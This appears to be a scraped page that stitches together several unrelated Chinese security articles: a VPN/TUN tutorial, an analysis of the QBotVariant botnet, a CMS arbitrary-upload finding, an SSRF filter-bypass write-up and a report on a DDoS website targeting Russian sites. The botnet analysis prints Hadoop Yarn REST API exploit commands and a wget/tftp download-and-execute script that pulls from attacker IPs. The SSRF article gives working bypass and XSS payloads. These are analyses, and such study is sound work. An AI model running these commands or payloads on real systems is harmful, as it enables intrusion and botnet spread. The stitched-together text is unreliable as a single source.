7EC256D0470B0755C952DB122C6BDD0B
80DF8640893E2D7CCD6F66FFF6216016
AA46F95F25C764A96F0FB3C75E1159F8
B7ADC8699CDC02D0AB2D1BB8BE1847F4
D45B0A257F8A0710C7B27980DE22616E
D9A2CD869152F24B1A5294A1C82B7E85 | 社区文章 |
# VPN 原理以及实现
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：0x7F@知道创宇404实验室 **
**
## 0x00 前言
最近在工作中遇到 VPN 的相关问题，之前一直对 VPN 的原理存在一些疑惑，借此机会学习一下 VPN 的原理以及进行实现验证。
由于 VPN 在不同系统下的实现方式不同，为了便于学习和理解，这里我们选择 `Linux` 环境，我本地测试环境使用的是 `Ubuntu 18.04
x64`。
本文从 TUN/TAP 出发，逐步理解 VPN 中的技术细节；并结合
[simpletun](https://github.com/gregnietsky/simpletun) 源码，进行 VPN 的原理验证。
## 0x01 VPN是什么
VPN 全称为虚拟私人网络(Virtual Private
Network)，常用于连接中、大型企业或团体间私人网络的通讯方法，利用隧道协议（Tunneling
Protocol）来达到发送端认证、消息保密与准确性等功能。
比如多地办公的公司，可以使用 VPN 将不同地区连接在同一内网下；或者在家办公的时候也可以通过 VPN 接入公司内网中。
VPN 以 CS 架构运行，工作流程如下：
1.VPN工作流程
在外网的用户可以使用 `vpn client` 连接组织搭建的 `vpn server` 以建立通信隧道，随后便建立了虚拟的私人网络，处于外网的
`worker` 和内网中的 `server` 可以相互通信。
那么我们可以简单理解 VPN，由 `VPN client` 捕获用户发出的报文，封装报文后通过物理网络通信链路将报文发给 `VPN server`，`VPN
server` 接收到报文后进行解包，再将其转发给实际的目标，反之同理； VPN 在逻辑层面构建了虚拟网络。
## 0x02 TUN/TAP
那么在代码层面 VPN 是如何实现的呢？我们可以先来看看 TUN/TAP。
TUN/TAP 是操作系统内核中的虚拟网络设备，由软件进行实现，向操作系统和应用程序提供与硬件网络设备完全相同的功能。其中 TAP
是以太网设备(二层设备)，操作和封装以太网数据帧，TUN 则是网络层设备(三层设备)，操作和封装网络层数据帧。
当应用程序发出报文后，报文将通过操作系统协议栈处理，到达网络设备，硬件网络设备将收到的报文转化为电信号发出，而虚拟网络设备(TUN/TAP)不具备实际的物理功能，报文需要上层应用进行处理，如下：
2.硬件/虚拟网络设备
我们直接使用命令创建 TUN/TAP 设备，并进行测试：
# ip tuntap 创建名为 tun0 的 tun 设备
sudo ip tuntap add dev tun0 mod tun
# 为 tun0 配置 ip
sudo ifconfig tun0 192.168.0.10 netmask 255.255.255.0
# 查看 tun0 网卡
ifconfig tun0
如下：
3.通过命令创建TUN设备
在 VPN 中我们可以借助 TUN/TAP 来捕获用户发出的报文。
## 0x03 虚拟通信链路
按照 TUN/TAP 的工作特性，我们可以编写程序直接读写虚拟网卡(也就是物理网卡实际收发报文的过程)，来实现捕获用户数据以及传递用户数据。(TUN 和
TAP 有不同的应用场景，下文我们将以更简单的 TUN 作为例子)
随后，位于不同主机上的程序通过 socket 进行通信，将从虚拟网卡的接收的数据通过 socket 发送给对端，这就是一个 VPN 的雏形了，如下：
4.虚拟通信链路工作流程
`simpletun` 是这种方案的最小实现(源码仅 300+ 行，感兴趣的小伙伴可以自行学习)，在源码中实现了创建虚拟网络设备以及 socket
通信，借助 `simpletun` 可以帮助我们快速进行验证。
需要注意一点，`simpletun` 启动后需要我们手动配置虚拟网卡的 ip 地址，当 ip
地址未配置时，两端相互发送数据(部分操作系统会自动发送)会造成程序异常退出，所以在代码中添加一个 `sleep(30)` 便于我们配置 ip 地址：
5.在simpletun中添加sleep
在两台 `Ubuntu` 测试环境下配置并进行验证：
# A主机
# 编译 simpletun
gcc simpletun.c -Wall -o vpn
# 作为 vpn server 启动，并开启 debug，默认监听 55555
sudo ./vpn -i tun0 -s -d
# 配置 tun 网卡地址
sudo ifconfig tun0 192.168.0.10 netmask 255.255.255.0
# B主机
# 编译 simpletun
gcc simpletun.c -Wall -o vpn
# 作为 vpn client 启动，连接 server，并开启 debug
sudo ./vpn -i tun0 -c 10.11.33.50 -d
# 配置 tun 网卡地址
sudo ifconfig tun0 192.168.0.11 netmask 255.255.255.0
此时两台主机位于 `192.168.0.0/24` 虚拟网络网段下，可以相互通信，如下：
6.虚拟通信链路两端通信
## 0x04 访问内网网段
在上文的验证中，我们可以实现两端的虚拟网络搭建和通信，但实际 VPN 的使用场景是需要通过 VPN 访问整个内网网段，在这种使用场景下，VPN server
至少配置有两张物理网卡，其中一张接入内网网段，另一张则连接到互联网。
按照 `0x03 虚拟通信链路` 的链路，VPN client 发送报文到内网主机，VPN server 接收到该报文后，将其写入到虚拟网卡中，随后报文进入
TCP/IP 协议栈，但是由于 IP 地址不是 VPN server
自己，该报文会被丢弃，无法正常进行通信；这里我们需要借助「报文转发」，将内网报文从虚拟网卡转发到内网网卡上。其新的工作流程如下：
7.VPN访问内网网段
> VPN server 一般会作为内网网关，内网主机无需任何额外配置就可以在虚拟网段下正常工作。
我们按照该流程配置测试环境，复用 `0x03 虚拟通信链路` 中的环境，在 VPN server 上我们使用 docker
模拟内网网段和主机，其环境搭建如下：
8.VPN测试环境搭建
然后按照 `0x03 虚拟通信链路` 中的方式，启动 `simpletun` 并使用 `ifconfig` 配置 ip
地址，创建虚拟通信链路；使用如下命令开启报文转发：
# 临时开启报文转发
echo "1" > /proc/sys/net/ipv4/ip_forward
> 实际上在该测试环境下，docker 会自动开启报文转发
再通过 `iptables` 配置转发策略，如下：
# 将入口网卡、来源ip为 192.168.0.0/24 转发至 docker0
sudo iptables -A FORWARD -i tun0 -s 192.168.0.0/24 -o docker0 -j ACCEPT
# 将入口网卡、目的ip为 192.168.0.0/24 转发至 tun0
sudo iptables -A FORWARD -i docker0 -d 192.168.0.0/24 -o tun0 -j ACCEPT
> 实际上在该测试环境下，第二条可以不用配置，因为 docker 会自动配置转发策略，会覆盖这条策略
除此之外，为了在 VPN client 可以访问到内网主机，需要手动添加路由：
# VPN client 添加内网网段路由，设置为虚拟网络设备 tun0
sudo route add -net 172.17.0.0/24 tun0
此时 VPN 配置完成，内网主机和 VPN client 相互连通：
9.内网主机访问以及验证
## 0x05 拓展
上文中我们使用最小实现验证了 VPN 的工作原理，但是实际场景却比这个复杂很多，这里我们简单抛出一些问题作为拓展学习。
**1.VPN作为网关？**
VPN server 一般作为网关进行配置，内网主机不用进行额外配置，也可以把报文发送给 VPN server。
**2.UDP通信链路？**
在 `simpletun` 中 VPN server 和 client 之间使用 TCP 进行通信，但是在实际场景一般使用 UDP 进行通信。
当使用 TCP 作为通信隧道时，并且上层应用也使用 TCP，也就是 `tcp in tcp`，当出现丢包时，上层应用的 TCP 和 VPN 通信隧道的
TCP 都会进行重传，从而通信中出现大量的重传报文，降低通信效率；如果在这种情况下，以 UDP 作为通信隧道，`tcp in
udp`，丢包后将只由上层应用的 TCP 进行重传。
**3.etc**
## 0x06 总结
最后感谢 rook1e@知道创宇404实验室 小伙伴同我一起学习和研究，解决了诸多问题。
本文从 VPN 原理出发，介绍了关键作用的 TUN/TAP 虚拟网络设备，并结合 `simpletun`
创建了两端的虚拟通信链路，最后配合报文转发，实现并验证了 VPN 的通信工作原理。
VPN 的实现较为简单，但涉及到各种细枝末节的网络知识；这里的最小验证，可以为我们实现更为复杂的 VPN 或基于 VPN 技术的其他项目提供参考。
* * *
References:
<https://zh.wikipedia.org/wiki/%E8%99%9B%E6%93%AC%E7%A7%81%E4%BA%BA%E7%B6%B2%E8%B7%AF>
<https://zhaohuabing.com/post/2020-02-24-linux-taptun/>
<https://www.cnblogs.com/sparkdev/p/9262825.html>
<https://serverfault.com/questions/39307/linux-ip-forwarding-for-openvpn-correct-firewall-setup>
<https://liuyehcf.github.io/2019/08/25/OpenVPN-%E8%BD%AC%E8%BD%BD/>
<https://yunfwe.cn/2018/05/24/2018/%E4%B8%80%E8%B5%B7%E5%8A%A8%E6%89%8B%E5%86%99%E4%B8%80%E4%B8%AAVPN/>
<https://github.com/gregnietsky/simpletun> | 社区文章 |
# 因为看见，所以发现：QBotVariant谢绝落幕
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：阿里云安全
互联网给人带来便捷的同时，其公开大量的资源也同样给恶意利用者带了便捷，越来越多公开的恶意程序源码降低了对外攻击、入侵的难度，使得安全问题愈加严重。
阿里云安全团队从今年5月份监测到一BOT家族，其样本改写自互联网公开渠道源码，在互联网上广泛传播，造成了极大的危害，云安全团队对该类样本做了分析、聚类、溯源，在此我们将该类样本命名为QBotVariant。
QBotVariant具有DDoS攻击、后门、下载器、暴力破解等功能，一旦被入侵便变成肉鸡，其主要传播方式通过Hadoop Yarn资源管理系统REST
API未授权访问漏洞和基于弱口令的暴力破解。类似Mirai该BOT家族针对多个版本的操作系统，不仅服务器受到危害，如CCTV监控、家庭路由等IOT设备更容易被攻击、入侵。Radware公司Pascal
Geenens在最新的博客《New DemonBot
Discovered》中提及到该类样本，但是他发现的IP、样本等信息只是该类家族的其中一个样本，而我们从监测到30多个下载服务器可以看出，QBotVariant多变的IP和二进制样本变种，使其难以发现和跟踪。
在云平台上，我们监测到的QBotVariant活跃度如下，峰值的时候可以达到上千个，活跃度一直未减。
以下我们将从传播方式、脚本分析、样本分析、溯源等多个角度对QBotVariant进行详细的分析。
## 入侵、传播方式
QBotVariant家族传播的方式有两种，一是利用Hadoop Yarn资源管理系统REST
API未授权访问漏洞进行入侵，二是通过硬编码的弱密码进行SSH暴力破解。
Hadoop是一款由Apache基金会推出的分布式系统框架，它通过著名的MapReduce算法进行分布式处理，Yarn是Hadoop集群的资源管理系统。Hadoop
Yarn资源管理系统配置不当导致可以未经授权进行访问，从而被攻击者恶意利用。攻击者无需认证即可通过REST
API部署任务来执行任意代码，最终完全控制服务器。
其问题来源于对外开启了以下作用的端口
yarn.resourcemanager.webapp.address，默认端口8088
yarn.resourcemanager.webapp.https.address，默认端口8090
通过对新申请application，如下指令
curl -v -X POST 'http://ip:port/ws/v1/cluster/apps/new-application'
再执行如下指令即可完成入侵
curl -s -i -X POST -H 'Accept:application/json' -H 'Content-Type:application/json'http://ip:port/ws/v1/cluster/apps -data-binary @example.json
其example.json文件如下
{
"am-container-spec":{
"commands":{
"command":"执行的命令书写在这里"
}
},
"application-id":"application_xxxx_xxxxx",
"application-name":"test",
"application-type":"YARN"
}
## 脚本分析
我们通过溯源找到了QBotVariant比较原始版本的脚本，在原始版本的脚本中支持wget、tftp、ftpget等脚本的执行，从远程下载服务器下载脚本并执行
bash -c cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;
wget http://185.244.25.153/bins.sh; chmod 777 bins.sh; sh bins.sh;
tftp 185.244.25.153 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh;
tftp -r tftp2.sh -g 185.244.25.153; chmod 777 tftp2.sh; sh tftp2.sh;
ftpget -v -u anonymous -p anonymous -P 21 185.244.25.153 ftp1.sh ftp1.sh; sh ftp1.sh tftp1.sh tftp2.sh ftp1.sh
以下是阿里云安全截获的一个经过改写的下载脚本，从脚本可以看出作者为了能够很好的对IOT设备支持，一方面编译了不同版本的程序，通过ntpd、sshd、openssh等进行伪装；另一方面每个命令行都加入了对busybox的支持，这些使得该类脚本很好的支持了IOT设备，为QBotVaraint的传播提供了更加便捷的途径。
在阿里云捕获的源码中有用于编译多个版本的脚本
QBotVariant支持版本类型及其对应二进制名称:
支持版本类型
|
对应二进制名称
|
支持版本类型
|
对应二进制名称
---|---|---|---
mips
|
ntpd
|
i586
|
ftp
mipsel
|
sshd
|
m68k
|
pftp
sh4
|
openssh
|
sparc
|
sh
x86_64
|
bash
|
armv4l
|
armv6l
|
tftp
|
armv5l
|
apache2
i686
|
wget
|
powerpc-440fp
|
telnetd
powerpc
|
cron
|
|
## 样本分析
阿里云截获的多批次样本都比较相似，都改编于QBot。某些作者为了精简样本或者进行杀软对抗可能将某些功能进行裁剪，我们随机对比两个捕获的样本，如图右边的样本对getRandomPublicIP函数进行了裁剪，该样本只实现了QBot的少许功能，其文件更小、功能更加单一。
而绝大部分样本都实现了基本功能，其传播性、危害性等性质并未改变，部分函数如图所示
## 指令分析
我们对远控指令进行了分析，其功能如下图所示
值得注意是StartTheLelz函数，该函数主要用于对随机生成的IP地址进行爆破，如图通过getRandomPublicIP函数得到随机的IP，将硬编码的用户名和密码存储在结构体中，然后进行连接，其最大爆破次数通过max变量进行控制，max和文件描述表的项数有关但最大不超过4096。
通过数据区可以看见作者集成了几种常见的用户名和密码用于爆破
如果最终爆破成功，则会在被爆破的主机中执行如下脚本，从而感染主机，再继续向外传播
除了集成常见的对外DDoS攻击方法，QBotVariant还可以进行对外发送垃圾数据，通过sendJUNK或sendUDP即可完成该动作，如图用于生成随机字符串的makeRandomStr函数，通过发送大量垃圾包同样可以造成网络带宽阻塞。
而QBotVariant为了最大化入侵价值，同样提供了远程shell命令执行功能，其命令以”SH”开头，通过fdgets、sockprintf将命令执行后的结果返回到远控端，实现如下
## 样本溯源/同源性分析
我们在对样本分析的过程中发现一个有趣的现象，样本为了逃避检测，有多种不同的指令，我们选取了几种QBotVariant的上线方式。
第一种，信息较简单，返回大小端、CPU架构、主机用途等信息。
第二种，信息比较全面，带有操作系统、CPU架构、主机用途、端口、主机IP等信息。
第三种，信息最为简单，只返回架构信息。
第四种，返回大小端、架构信息。
第五种，信息比较全面，架构信息、大小端、主机IP、主机用途等信息。
第六种，返回主机IP、类型、版本信息等。
第七种，返回架构、主机IP等信息。
我们在对样本进行溯源发现，在pastebin上存在大量该类样本的源码、二进制文件等，其存在时间都在数月之久，作者目录下还包括其他类型IOT蠕虫，同时发现多个作者进行了QBot的改写，如图是其中一位作者的pastebin和github
QBot在国内似乎大家认知不多，但是由于源码简单、客户端小、支持多种架构，从09年活跃至今一直未间断过，常被应用于远控、DDoS等客户端，在其截获的IP中，绝大部分位于北美和欧洲各地，但是云平台检测到来自国内IP的攻击源，国内安全人员应该引起重视。
## 安全加固
* 云防火墙
* 开启云防火墙IPS拦截模式和虚拟补丁功能，云防火墙已经支持对该类漏洞的防御和防止暴力破解功能，用户即使不及时修复也依然能够进行防御拦截。
* 网络访问控制
* 使用”ECS/VPC安全组”对”受影响服务端口”访问源IP进行控制，如果本身Hadoop环境仅对内网提供服务，请不要将Hadoop服务端口发布到互联网。
* 更新升级
* 若使用自建的Hadoop，根据实际情况及时更新补丁，Hadoop在2.X以上版本提供了安全认证功能，加入了Kerberos认证机制，建议启用Kerberos认证功能或者您可以选择使用云上的MaxCompute(8年以上”零”安全漏洞)或云上的E-MAPREDUCE服务。
## 安全建议
云防火墙产品已支持防御针对此漏洞的攻击，建议用户可以购买云防火墙，开启检测。
通过安全管家服务，在阿里云安全专家的指导下进行安全加固及优化工作，避免系统受到漏洞影响。
## 总结
QBotVariant通过Hadoop Yarn资源管理系统REST
API未授权访问漏洞、弱密码口令爆破等方式进行入侵，一旦感染此类蠕虫，不仅会占用主机计算资源消耗带宽流量，成为攻击其他主机的肉鸡，还可能造成数据泄露，数据丢失等后果。
阿里云安全提醒广大互联网用户，注意第三方应用的配置，防止出现此类未授权漏洞，同时加强用户名和密码的安全意识，切实保护自身资产安全。
## IOC
### 部分MD5-文件名
文件名
|
MD5
---|---
185.244.25.153
|
YSDKOP.arm4
|
cc9de0d789efc8636946b4b41f374dfc
YSDKOP.arm5
|
ac94604edfe7730ccf70d5cd75610d01
YSDKOP.arm6
|
dcb51c5abd234a41ee0439183f53fd2d
YSDKOP.arm7
|
2416380b2fe0c693fd7c26a91b4cb8ee
YSDKOP.i586
|
2f029723c778f15e8e825976c66e45cd
YSDKOP.i686
|
49ec48d3afdddb098fa2c857fc63c848
YSDKOP.m68k
|
7efef839902ca20431d58685d9075710
YSDKOP.mips
|
eab0810535b45fa1bf0f6243dafb0373
YSDKOP.mpsl
|
a2c4e09821be6a4594e88376b9c30b5d
YSDKOP.ppc
|
1fc61114722f301065cd9673025ce5e0
YSDKOP.sh4
|
38abc827e67ff53d0814979b435e2c40
YSDKOP.sparc
|
20a38aeeffba9f0f1635c7b4b78f3727
YSDKOP.x86
|
8fd97d622e69b69a3331ee5ed08e71b2
188.166.125.19
|
|
7e9c49b9e743bcf7b382fa000c27b49d
apache2
|
64394fb25494b0cadf6062a0516f7c1a
bash
|
75e7ce8c110bb132d3897b293d42116a
cron
|
e8dfae1fe29183548503dc0270878e52
ftp
|
0e765d00f0ee174e79c81c9db812e3a2
ntpd
|
2cb932dcb5db84dafa8cdc6b4afa52d0
openssh
|
606a3169f099b0f2423c63b4ed3f9414
pftp
|
6666ef216ce7434927338137760f4ab0
sh
|
cc2e82ffbc6d5053efade4849c13099f
sshd
|
00b0a6516986aca277d0148c7ddf38c4
tftp
|
38b075ee960d08e96b2e77205ec017de
wget
|
58c5e1bc66ac6b364639bce4b3f76c58
### 部分IP
178.128.194.222
|
178.128.7.76
---|---
103.214.111.122
|
130.185.250.199
194.182.80.200
|
138.197.74.100
198.199.84.119
|
104.248.165.108
178.128.46.254
|
159.65.227.17
206.189.196.216
|
80.211.109.66
194.48.152.114
|
159.89.114.171
178.128.43.104
|
185.244.25.153
209.97.159.10
|
46.36.37.121
46.29.164.242
|
46.17.47.250
158.69.60.239
|
195.181.223.138
80.211.39.186
|
188.166.125.19
104.248.112.122
|
212.237.26.71
178.128.239.252
|
104.248.212.127
104.248.63.168
|
### 部分URL及出现时间
URL
|
时间
---|---
http://138.197.74.100/bins.sh
|
20180904
http://80.211.39.186/bins.sh
|
20180904
http://178.128.239.252/bins.sh
|
20180908
http://158.69.60.239/bins/boti586final
|
20180908
http://158.69.60.239/bins/botx86_64final
|
20180908
http://158.69.60.239/bins/boti686final
|
20180908
http://158.69.60.239/bins.sh
|
20180908
http://178.128.239.252/bins.sh
|
20180909
http://130.185.250.199/bins.sh
|
20180909
http://46.17.47.250/xm2bash
|
20180913
http://104.248.112.122/Kuso69/Akiru.x86
|
20180918
http://194.182.80.200/bins.sh
|
20180919
http://104.248.112.122/Kuso69/Akiru.x86
|
20180919
http://209.97.159.10/bins.sh
|
20181003
http://46.17.47.250/xm2wget
|
20181005
http://185.244.25.153/bins.sh
|
20181009
http://159.65.227.17/bins.sh
|
20181009
http://178.128.7.76/bins.sh
|
20181010
http://185.244.25.153/bins.sh
|
20181010
http://104.248.212.127/bins.sh
|
20181010
http://159.65.227.17/bins.sh
|
20181010
http://206.189.196.216/bins.sh
|
20181010
http://188.166.125.19/bins.sh
|
20181010
http://188.166.125.19/bins.sh
|
20181011
http://185.244.25.153/bins.sh
|
20181011
http://178.128.7.76/bins.sh
|
20181011
http://104.248.212.127/bins.sh
|
20181011
http://80.211.109.66/bins.sh
|
20181012
http://185.244.25.153/bins.sh
|
20181012
http://195.181.223.138/bins.sh
|
20181012
http://159.89.114.171/bins.sh
|
20181012
http://178.128.7.76/bins.sh
|
20181012
http://104.248.212.127/bins.sh
|
20181012
http://185.244.25.153/bins.sh
|
20181015
http://104.248.165.108/bins.sh
|
20181018
http://198.199.84.119/bins.sh
|
20181018
http://103.214.111.122/bins.sh
|
20181019
http://178.128.46.254/bins.sh
|
20181019
http://178.128.43.104/bins.sh
|
20181019
http://104.248.63.168/vvglma
|
20181021
http://178.128.194.222/bins.sh
|
20181026
http://178.128.194.222/bins.sh
|
20181027
http://178.128.194.222/bins.sh
|
20181028
http://46.29.164.242/bins.sh
|
20181031
http://194.48.152.114/bins.sh
|
20181101
http://46.36.37.121/weed.sh
|
20181103
## 参考链接
<https://help.aliyun.com/knowledge_detail/71609.html>
[https://blog.radware.com/security/2018/10/new-demonbot-discovered/
](https://blog.radware.com/security/2018/10/new-demonbot-discovered/) | 社区文章 |
# 某cms任意上传
## 起因
在cnvd上看到了这个cms任意上传，即下载该源码审计。
## 审计!
该cms未使用框架，较为简单。
全局使用x.php进行过滤，内容为对get,post,cookie传参进行过滤
当然，本文核心还是找到他的任意上传.全局搜索$_FILES，找到调用上传的地方。发现其大部分使用白名单
后面在accountalert.php文件中发现此任意上传。
判断是否存在文件，存在即直接上传。无后缀回显，但并没有进行任何重命名。直接在/common/feng_img/+原文件名。
## 复现
直接上传即可，难点在于无源码下找到这个上传，并获取到返回路径。
## 总结
没有任何过滤，较为简单，其实这套源码前台还存在注入，x.php只是过滤了一些语句。只用替换and，or与form就能注入，具体就不分析了。 | 社区文章 |
# SSRF技巧之如何绕过filter_var( )
##### 译文声明
本文是翻译文章，文章原作者 theMiddle，文章来源：medium.com
原文地址：<https://medium.com/secjuice/php-ssrf-techniques-9d422cb28d51>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
前几天我读了两篇非常棒的论文：第一篇是发表在blackhat.com上的“A New Era of SSRF
”，讲述的是不同编程语言的SSRF问题；第二篇是由Positive Technology发表的一篇名为“PHP Wrapper”
的论文，它主要讲述的是如何以多种不同的方式使用PHP Wrapper来绕过过滤器以及受过滤的输入（您可以在结尾处找到这两个链接）。
在本文中，我将深入介绍一些SSRF技术，您可以使用这些技术攻击那些使用filter_var()或preg_match()等过滤器的PHP脚本，并且可以使用curl或file或file_get_contents()来获取HTTP内容。
图1：对于抓娃娃机的一种典型的SSRF攻击
引用OWASP上的定义：
> 在服务器端请求伪造（SSRF）攻击中，攻击者可以利用服务器上的功能来读取或更新内网资源。
> 攻击者可以配置或更改与服务器上运行的代码有关的URL链接来读取或提交数据，此外，通过精心构造的URL，攻击者可以读取服务器配置，例如AWS元数据，连接到启用http数据库的内部服务器中抑或是对内部的非公开服务发起post请求。
## 0x01 PHP中易受攻击的代码
本文所有的实验代码都是基于PHP7.0.25完成的（或许当你读到这篇文章时，它已经过时了，但描述的技术细节和原理都是有效的）。
图2：使用的PHP版本
以下是我用来测试的PHP脚本：
<?php
echo "Argument: ".$argv[1]."n";
// check if argument is a valid URL
if(filter_var($argv[1], FILTER_VALIDATE_URL)) {
// parse URL
$r = parse_url($argv[1]);
print_r($r);
// check if host ends with google.com
if(preg_match('/google.com$/', $r['host'])) {
// get page from URL
exec('curl -v -s "'.$r['host'].'"', $a);
print_r($a);
} else {
echo "Error: Host not allowed";
}
} else {
echo "Error: Invalid URL";
}
?>
如您所见，脚本从第一个参数中获取URL（可以是web应用中的post方式或者get方式），然后使用函数filter_var()来验证URL的格式。如果没问题，解析函数parse_url()会解析URL，再使用函数preg_match()用正则表达式来检查主机名是否以google.com结尾。
如果一切正常，脚本会通过curl发起一个http请求以获取目标网页内容，之后使用print_r()打印出响应主体。
## 0x02 预期行为
此PHP脚本只能接受针对google.com 主机名的请求，其余目标一律拒绝，不如让我们试一试：
http://google.com
图3：尝试请求google.com页面
http://evil.com
图4：尝试请求evil.com页面
截止目前，一切都很顺利。第一个针对google.com 的请求被接受，而第二个对evil.com的请求被拒绝。安全等级：1337+ 呵呵。
## 0x03 绕过URL验证和正则表达式
在上文我并不美观的代码中，正则表达用于检验请求主机名是否以google.com结尾。这似乎很难避免，但倘若你熟悉URI
RFC语法，你应该明白分号和逗号可能是你利用远程主机上的ssrf的秘密武器。
许多URL方案中都有保留字符，保留字符都有特定含义。它们在URL的方案特定部分中的外观具有指定的语义。如果在一个方案中保留了与八位组相对应的字符，则该八位组必须被编码。除了字符“;”,
“/”, “?”, “:”, “@”, “=” 和 “&” 被定义为保留字符，其余一律为不保留字符。
除了分层路径中的dot-segments之外，一般语法认为路径段不透明。 生成应用程序的URI通常使用段中允许的保留字符来分隔scheme-specific或者dereference-handler-specific子组件。 例如分号(“；”) 和等于(“=”)
保留字符通常用于分隔适用于该段的参数和参数值。 逗号(“，”) 保留字符通常用于类似目的。
例如，一个URI生产者可能使用一个段name;v=1.1来表示对“name”版本1.1的引用，而另一个可能使用诸如“name，1.1”的段来表示相同含义。参数类型可以由scheme-specific 语义来定义，但在大多数情况下，一个参数的语法是特定的URI引用算法的实现。
例如，若应用于主机evil.com;google.com可能会被curl 或者wget 解析成hostname: evil.com 和
querystring: google.com，不如来试一下：
http://evil.com;google.com
图5：尝试用 ;google.com bypass 过滤器
函数filter_var()可以解析许多类型的 URL
schema，从上面可以看出filter_var()拒绝以主机名和“HTTP”作为schema验证我请求的URL，但如果我把 schema从http://
改成别的会怎样呢？
0://evil.com;google.com
图6：过滤器被使用0代替HTTP bypass掉了
完美！成功绕过filter_var()
和preg_match()，但是curl依然请求不到evil.com页面。。。。为什么呢？不如来尝试下使用别的语法，尽量让;google.com不被解析成主机名的一部分，例如通过制定目标端口：
0://evil.com:80;google.com:80/
图7：SSRF使curl对evil.com进行了请求而不是google.com
耶，我们看到curl已经开始连接evil.com，使用逗号代替分号会出现同样的情况 ：
0://evil.com:80,google.com:80/
图8：相同的SSRF不过此处使用逗号代替分号
## 0x04 对URL解析函数进行SSRF
parse_url()是用于解析一个 URL 并返回一个包含在 URL
中出现的各种组成部分关联数组的PHP函数。这个函数并不是要验证给定的URL，它只是将它分解成上面列出的部分。
部分网址也可以作为parse_url()的输入并被尽可能的正确解析。
在一个PHP脚本中去bypass一个用于将部分字符串转换为一个变量的的正则表达式是我们最喜欢研究的技术之一。这项工作是否成功最终将由Bash来认定。例如：
0://evil$google.com
图9：使用“Bash中变量的语法”来绕过过滤器并利用SSRF
使用这种方式，我让bash将$google分析为一个空变量，并且使用curl请求了evil <empty> .com。 这是不是很酷？:)
然而这只发生在curl语法中。 实际上，正如上面的屏幕截图所示，由parse_url()解析的主机名仍然是 evil$google.com。 $
google变量并没有被解释。 只有当使用了exec()函数而且脚本又使用$r[‘host’]来创建一个curl
HTTP请求时，Bash才会将其转换为一个空变量。
显然，这个工作只是为了防止PHP脚本使用exec()或system()函数来调用像curl，wget之类的系统命令。
## 0x05 win环境中data:// 之于XSS
另一个使用file_get_contents()代替PHP使用system()或exec()调用curl的例子：
<?php
echo "Argument: ".$argv[1]."n";
// check if argument is a valid URL
if(filter_var($argv[1], FILTER_VALIDATE_URL)) {
// parse URL
$r = parse_url($argv[1]);
print_r($r);
// check if host ends with google.com
if(preg_match('/google.com$/', $r['host'])) {
// get page from URL
$a = file_get_contents($argv[1]);
echo($a);
} else {
echo "Error: Host not allowed";
}
} else {
echo "Error: Invalid URL";
}
?>
正如你所见，file_get_contents()在使用之前描述的相同技术验证之后使用了原始参数变量。 让我们尝试通过注入一些文本来修改响应主体，如“I
Love PHP”：
data://text/plain;base64,SSBsb3ZlIFBIUAo=google.com
图10：尝试控制响应主体
parse_url()不允许将文本设置为请求主机，并且它返回了“not allowed host”正确拒绝解析。不要绝望！
有一件事我们可以做，我们可以尝试将某些东西“注入”URI的MIME类型部分……因为在这种情况下，PHP不关心MIME类型…也是，又有谁在乎呢？
data://google.com/plain;base64,SSBsb3ZlIFBIUAo=
图11：向响应体注入 “I love PHP”
接下来进行XSS攻击便是小菜一碟了…
data://text.google.com/plain;base64,<...b64...>
图12：使用之前描述的技术进行简单的XSS
以上便是全部，感谢观看！
## 0x06 Links
Positive Technologies: “PHP Wrappers” <http://bit.ly/2lXk1e8>
Orange Tsai: “A new era of SSRF” <http://ubm.io/2FdUu9F> | 社区文章 |
# 从网络空间认知战到对俄大规模网络致瘫攻击
##### 译文声明
本文是翻译文章，文章原作者 天元实验室，文章来源：M01N Team
原文地址：<https://mp.weixin.qq.com/s/iewfqJoAq0ZBclniSJEpAA>
译文仅供参考，具体内容表达以及含义原文为准。
转载：[M01N Team](https://mp.weixin.qq.com/s/iewfqJoAq0ZBclniSJEpAA)
**背景介绍**
认知是人们思维的工具。人们通常根据自己的所见所闻作出判断并付诸行动。处于互联网信息化高速发展的今天，人们获取信息和传播信息的速度是以往不能比拟的，通过互联网传播的舆论，发展速度快、传播范围广、控制难度大，任何一个互联网用户都有可能成为潜在目标。传统的“认知战“主要针对敌对方的军人和群众。但是在本次俄乌冲突中，亲乌反俄势力利用网络舆论对全世界的网民发动了“网络空间认知战“，大量利用互联网舆情操纵大众意识，影响大众对乌俄局势的判断，煽动了大量原本中立的互联网民众参与到针对俄罗斯的网络空间战争中来。
近日，绿盟科技天元实验室和威胁情报中心监测到一起从网络空间认知战发展为大规模对俄网络致瘫的攻击事件，战术手段和攻击发动方式历史鲜有，绿盟科技天元实验室对此次网络攻击进行了详细的技战术研判分析。
**01** 情报分析
根据威胁情报监测，互联网注册域名为stop-russian-desinformation.near.page的网站作为攻击武器载体，在客户端浏览器进行访问时会向俄罗斯联邦相关网站发起大量攻击请求。攻击组织利用互联网时代信息的快速传播能力，致使网站被大量点击访问，而任何一个访问该网站的个人都被动加入到了此次攻击行动当中。
页面用英语，俄语，乌克兰语三种语言分别写下了以下内容：
_俄罗斯联邦的“官方”新闻大多是假的，我们认为最好关闭它们，让人们转向可信的新闻。_
_请打开这个页面，让它在您的设备上打开。它将淹没俄罗斯的宣传网站，并对其基础设施造成巨大的负担。_
_你的浏览器会很慢。没关系，别担心，继续运行。_
_我们每个人的一点点贡献将拯救乌克兰。_
其中被攻击的俄罗斯相关网站服务共计66个，主要涉及新闻媒体、政府、金融、工业、航天等行业单位，具体列表如下。
该网站自2月25日起在Twitter、Telegram等国外互联网社交平台出现后快速传播形成了影响力，使得网络攻击攻势愈发猛烈。
使用ping查看该网站ip，发现使用了CDN：
CDN地址则属于美国谷歌云：
对其域名进行whois查询，域名服务商同样是谷歌，组织地址则显示为加拿大：
该域名证书记录最早出现于2021年4月22日。
其域名解析地址为216.239.36.21，同样是谷歌云服务，该IP在过去被多次标记为用于黑客攻击。
该网站在传播扩散后，也引起了其他网站的效仿，https://www.kitpes.com.ua/标明其修改自https://stop-russian-desinformation.near.page。该网站在左上角标注了是原网站的重构页面，目标是对俄罗斯和白俄罗斯进行DDOS攻击，同时将DDOS的目标列表扩展到了166个。虽然保持了原有功能，但是页面的排版比较混乱。
